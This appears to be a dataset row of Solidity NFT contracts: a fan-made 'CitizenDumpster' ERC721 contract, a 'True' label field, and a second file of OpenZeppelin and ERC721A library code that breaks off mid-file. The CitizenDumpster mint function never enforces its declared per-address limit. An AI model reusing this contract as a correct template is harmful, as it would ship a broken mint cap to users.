uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId;
_allTokensIndex[lastTokenId] = tokenIndex;
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// Amended by HashLips
/**
This is a fan made NFT based on @zssbecker and @elliotrades Neo Tokyo, this is for
the Outlanders, the Rats, the Trash, the Glue Eaters that didn't make it in the Citadel!
We are more powerful, when we are many!
*/
pragma solidity ^0.8.0;
contract CitizenDumpster is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0 ether;
uint256 public maxSupply = 4000;
uint256 public maxMintAmount = 1;
uint256 public nftPerAddressLimit = 1;
bool public paused = false;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner() {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
}
|
True
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] |
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
//Vakkuda was here
//Help Vakkuda get a MAYC
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), ".json"))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "You are not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
